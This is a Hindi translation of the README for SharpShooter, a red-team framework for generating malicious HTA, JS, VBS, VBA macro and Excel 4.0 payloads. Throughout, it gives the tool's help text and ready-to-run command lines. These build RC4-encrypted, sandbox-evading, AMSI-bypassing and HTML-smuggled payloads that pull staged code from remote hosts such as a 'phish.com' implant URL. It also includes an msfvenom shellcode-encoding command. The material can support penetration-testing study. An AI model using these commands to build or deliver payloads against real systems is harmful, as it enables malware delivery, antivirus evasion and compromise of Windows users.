
पेलोड निर्माण ढांचा
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
विवरण
=======
SharpShooter एक पेलोड निर्माण ढांचा है जो मनमाने CSharp स्रोत कोड को पुनर्प्राप्त और निष्पादित करने के लिए है। SharpShooter HTA, JS, VBS और WSF सहित विभिन्न प्रारूपों में पेलोड बनाने में सक्षम है। यह James Forshaw के [DotNetToJavaScript](https://github.com/tyranid/DotNetToJScript) उपकरण का उपयोग करके SharpShooter DotNet क्रमबद्ध वस्तु से विधियों को आह्वान करता है। पेलोड को वेब या DNS डिलीवरी या दोनों का उपयोग करके पुनर्प्राप्त किया जा सकता है; SharpShooter MDSec ActiveBreach PowerDNS परियोजना के साथ संगत है। वैकल्पिक रूप से, एम्बेडेड शेलकोड निष्पादन वाले स्टेजलेस पेलोड भी समान स्क्रिप्टिंग प्रारूपों के लिए उत्पन्न किए जा सकते हैं।
SharpShooter पेलोड एक यादृच्छिक कुंजी के साथ RC4 एन्क्रिप्टेड होते हैं ताकि कुछ मामूली एंटी-वायरस से बचाव हो सके, और परियोजना में सैंडबॉक्स डिटेक्शन और एनवायरनमेंट कीइंग को एकीकृत करने की क्षमता शामिल है ताकि डिटेक्शन से बचने में मदद मिल सके।
SharpShooter में स्टेज्ड और स्टेजलेस पेलोड के साथ शेलकोड निष्पादित करने के लिए एक पूर्वनिर्धारित CSharp टेम्पलेट शामिल है, लेकिन किसी भी CSharp कोड को CSharp के CodeDom प्रदाता की सहायता से संकलित और रिफ्लेक्शन का उपयोग करके मेमोरी में आह्वान किया जा सकता है।
अंत में, SharpShooter [Demiguise HTML स्मगलिंग](https://github.com/nccgroup/demiguise) तकनीक का उपयोग करके पेलोड को HTML फ़ाइल के अंदर बंडल करने की क्षमता प्रदान करता है।
SharpShooter .NET फ्रेमवर्क के v2, v3 और v4 को लक्षित करता है जो अधिकांश अंतिम-उपयोगकर्ता विंडोज वर्कस्टेशन पर पाए जाएंगे।
SharpShooter संस्करण 1.0 ने कई नई अवधारणाएँ पेश कीं, जिनमें COM स्टेजिंग, Squiblydoo और Squiblytwo का निष्पादन, साथ ही XSL निष्पादन शामिल है। इस नई कार्यक्षमता को पूरा करने के लिए, कई नए फ़्लैग जोड़े गए; --com, --awl और --awlurl।
SharpShooter संस्करण 2.0 ने AMSI बायपास मॉड्यूल, साथ ही VBA और Excel 4 मैक्रो सक्षम दस्तावेज़ों को उत्पन्न करने के समर्थन को जोड़ा।
आगे की जानकारी [MDSec ब्लॉग पोस्ट](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/) पर पाई जा सकती है।
उपयोग - कमांड लाइन मोड:
======
SharpShooter अत्यधिक कॉन्फ़िगरेबल है, जो विभिन्न प्रकार के पेलोड प्रकार, सैंडबॉक्स एवेज़न, डिलीवरी विधियों और आउटपुट प्रकारों का समर्थन करता है।
--help तर्क के साथ SharpShooter चलाने से निम्नलिखित आउटपुट उत्पन्न होगा:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver ] [--com ] [--awl ] [--awlurl ] [--payload ] [--sandbox ] [--amsi ] [--delivery ] [--rawscfile ] [--shellcode] [--scfile ] [--refs ] [--namespace ] [--entrypoint ] [--web ] [--dns ] [--output ] [--smuggle] [--template ]
optional arguments: -h, --help show this help message and exit --stageless Create a stageless payload --dotnetver Target .NET Version: 2 or 4 --com COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote --awl Application Whitelist Bypass Technique: wmic, regsvr32 --awlurl URL to retrieve XSL/SCT payload --payload Payload type: hta, js, jse, vba, vbe, vbs, wsf --sandbox Anti-sandbox techniques: [1] Key to Domain (e.g. 1=CONTOSO) [2] Ensure Domain Joined [3] Check for Sandbox Artifacts [4] Check for Bad MACs [5] Check for Debugging --amsi Use amsi bypass technique: amsienable --delivery Delivery method: web, dns, both --rawscfile Path to raw shellcode file for stageless payloads --shellcode Use built in shellcode execution --scfile Path to shellcode file as CSharp byte array --refs References required to compile custom CSharp, e.g. mscorlib.dll,System.Windows.Forms.dll --namespace Namespace for custom CSharp, e.g. Foo.bar --entrypoint Method to execute, e.g. Main --web URI for web delivery --dns Domain for DNS delivery --output Name of output file (e.g. maldoc) --smuggle Smuggle file inside HTML --template Name of template file (e.g. mcafee)
कुछ उपयोग मामलों के उदाहरण नीचे दिए गए हैं:
### स्टेजलेस जावास्क्रिप्ट ###
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
.NET फ्रेमवर्क के संस्करण 4 को लक्षित करते हुए एक स्टेजलेस जावास्क्रिप्ट पेलोड बनाएं। यह उदाहरण आउटपुट निर्देशिका में foo.js नामक एक पेलोड बनाएगा। शेलकोड ./raw.txt फ़ाइल से पढ़ा जाता है। पेलोड CONTOSO डोमेन के लिए कीइंग करके और ज्ञात सैंडबॉक्स/वीएम आर्टिफैक्ट्स की जाँच करके कुछ सैंडबॉक्स एवेज़न लागू करने का प्रयास करता है।
### स्टेजलेस एचटीए ###
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
.NET फ्रेमवर्क के संस्करण 2/3 को लक्षित करते हुए एक स्टेजलेस एचटीए पेलोड बनाएं। यह उदाहरण आउटपुट निर्देशिका में foo.hta नामक एक पेलोड बनाएगा। शेलकोड ./raw.txt फ़ाइल से पढ़ा जाता है। पेलोड ज्ञात वर्चुअल MAC पतों की जाँच करके कुछ सैंडबॉक्स एवेज़न लागू करने का प्रयास करता है। आउटपुट निर्देशिका में foo.html नामक एक HTML स्मगलिंग पेलोड भी उत्पन्न किया जाएगा। यह पेलोड उदाहरण McAfee वायरस स्कैन टेम्पलेट का उपयोग करेगा।
### स्टेज्ड वीबीएस ###
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
यह उदाहरण एक स्टेज्ड वीबीएस पेलोड बनाता है जो वेब और DNS दोनों डिलीवरी करता है। पेलोड एक GZipped CSharp फ़ाइल को पुनर्प्राप्त करने का प्रयास करेगा जो कि csharpsc.txt फ़ाइल में CSharp बाइट ऐरे के रूप में आपूर्ति किए गए शेलकोड को निष्पादित करता है। उपयोग किया गया CSharp फ़ाइल बिल्ट-इन SharpShooter शेलकोड निष्पादन टेम्पलेट है। पेलोड आउटपुट निर्देशिका में foo.payload नाम से बनाया जाता है और इसे http://www.foo.bar/shellcode.payload पर होस्ट किया जाना चाहिए। वही फ़ाइल PowerDNS का उपयोग करके इसे सर्व करने के लिए bar.foo डोमेन पर भी होस्ट की जानी चाहिए। VBS फ़ाइल CONTOSO डोमेन के लिए कीइंग करने का प्रयास करेगी और McAfee वायरस स्कैन किए गए टेम्पलेट के साथ HTML स्मगलिंग तकनीक का उपयोग करके एक HTML फ़ाइल में एम्बेड की जाएगी। परिणामी पेलोड आउटपुट निर्देशिका में foo.html नाम से संग्रहीत किया जाता है।
### वीबीएस के अंदर कस्टम CSharp ###
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
यह उदाहरण दिखाता है कि कैसे एक स्टेज्ड JS पेलोड बनाया जाए जो वेब डिलीवरी करता है, http://www.phish.com/implant.payload से एक पेलोड पुनर्प्राप्त करता है। उत्पन्न पेलोड सैंडबॉक्स एवेज़न का प्रयास करेगा, और पुनर्प्राप्त पेलोड को संकलित करने का प्रयास करेगा जिसके लिए mscorlib.dll और System.Windows.Forms.dll को DLL संदर्भों की आवश्यकता है। सफल संकलन पर MDSec.SharpShooter नेमस्पेस में Main विधि निष्पादित की जाएगी।
### Squiblytwo VBS का निर्माण ###
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
यह उदाहरण एक VBS स्मगल किया हुआ COM स्टेजर बनाता है जो wmic.exe को निष्पादित करने के लिए एक प्रारंभिक के रूप में Outlook.CreateObject() COM विधि का उपयोग करता है ताकि एक होस्ट की गई स्टाइलशीट को निष्पादित किया जा सके। --awl पैरामीटर डिफ़ॉल्ट रूप से wmic पर उपयोग नहीं किया जाता है।
### XSL HTA का निर्माण ###
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
यह उदाहरण एक HTA स्मगल किया हुआ फ़ाइल बनाता है जो एक होस्ट की गई स्टाइलशीट को पुनर्प्राप्त और निष्पादित करने के लिए XMLDOM COM इंटरफ़ेस का उपयोग करता है।
### VBA मैक्रो का निर्माण ###
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
यह उदाहरण एक VBA मैक्रो फ़ाइल बनाता है जो एक होस्ट की गई स्टाइलशीट को पुनर्प्राप्त और निष्पादित करने के लिए XMLDOM COM इंटरफ़ेस का उपयोग करता है।
### Excel 4.0 SLK मैक्रो सक्षम दस्तावेज़ का निर्माण ###
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
यह उदाहरण एक Excel 4.0 SLK फ़ाइल बनाता है जो आपूर्ति किए गए शेलकोड को निष्पादित करता है और इसे HTML में लपेटता है। शेलकोड में नल बाइट्स नहीं हो सकते, संकेत:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
लेखक और श्रेय
==================
लेखक: Dominic Chell, MDSec ActiveBreach [@domchell](https://twitter.com/domchell) और [@mdseclabs](https://twitter.com/mdseclabs)
श्रेय:
- [@tiraniddo](https://twitter.com/tiraniddo): James Forshaw for DotNetToJScript
- [@Arno0x0x](https://twitter.com/Arno0x0x): for EmbedInHTML
- [@buffaloverflow](https://twitter.com/buffaloverflow): Rich Warren for Demiguise
- [@arvanaghi](https://twitter.com/arvanaghi) और [@ChrisTruncer](https://twitter.com/ChrisTruncer): Brandon Arvanaghi and Chris Truncer for CheckPlease
- [@subTee](https://twitter.com/subtee): Squiblydoo और Squiblytwo तकनीकों के लिए दस्तावेज़ीकरण
- [@StanHacked](https://twitter.com/stanhacked): Excel 4.0 तकनीक और कोड उदाहरण